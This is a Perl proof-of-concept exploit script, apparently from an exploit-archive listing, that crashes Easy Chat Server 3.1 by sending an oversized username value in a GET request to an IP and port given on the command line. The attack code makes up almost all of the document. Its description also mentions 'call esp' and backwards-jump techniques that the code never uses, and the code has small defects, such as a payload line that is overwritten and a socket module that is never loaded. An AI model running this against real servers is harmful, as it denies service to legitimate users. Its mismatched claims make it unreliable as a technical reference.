#!/usr/bin/perl
use Net::FTP;
# Exploit Title: Easy Chat Server 3.1 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 05 january 2024
# Vendor Homepage: N/A
# Download to demo: https://drive.google.com/file/d/1ZbfeaWSEKlpvCG1eUtD0vNnfkNz_8PlE/view
# Notification vendor: No reported
# Tested Version:Easy Chat Server 3.1
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://drive.google.com/file/d/1rG6uTXTg3cTg86qmp9rh2ozQfyOV_Av7/view
#1. Description
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data via method GET to web server.
#The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
#2. Proof of Concept - PoC
$sis="$^O";
if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}
system("$cmd");
intro();
main();
print "[+] Exploiting... \n";
my $payload = "\x90" x 16;
$payload = "\x41"x568;
my $buffer = "GET /chat.ghp?username=" . $payload . "&password=&room=2 HTTP/1.1\r\n";
$buffer .= "User-Agent: Internet Explorer/4.0\r\n";
$buffer .= "Host: $ip:$port\r\n";
$buffer .= "Referer: http://$ip\r\n";
$buffer .= "Connection: Keep-Alive\r\n\r\n";
print("[+] Exploiting...\n");
my $socket = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => $port,
Proto => 'tcp',
) or die "Could not connect! Error: $!\n";
$socket->send($buffer);
close($socket);
print "[+] Done - Exploited success!!!!!\n\n";
sub intro {
print "#################################################################\n";
print "# Easy Chat Server 3.1 - Denied of Service #\n";
print "# #\n";
print "# Coded by Fernando Mengali #\n";
print "# #\n";
print "# e-mail: fernando.mengalli\@gmail.com #\n";
print "# #\n";
print "#################################################################\n";
}
sub main {
our ($ip, $port) = @ARGV;
unless (defined($ip) && defined($port)) {
print " \nUsage: $0 <ip> <port> \n";
exit(-1);
}
}
#3. Solution/ How to fix:
# This version product is deprecated
Polish
English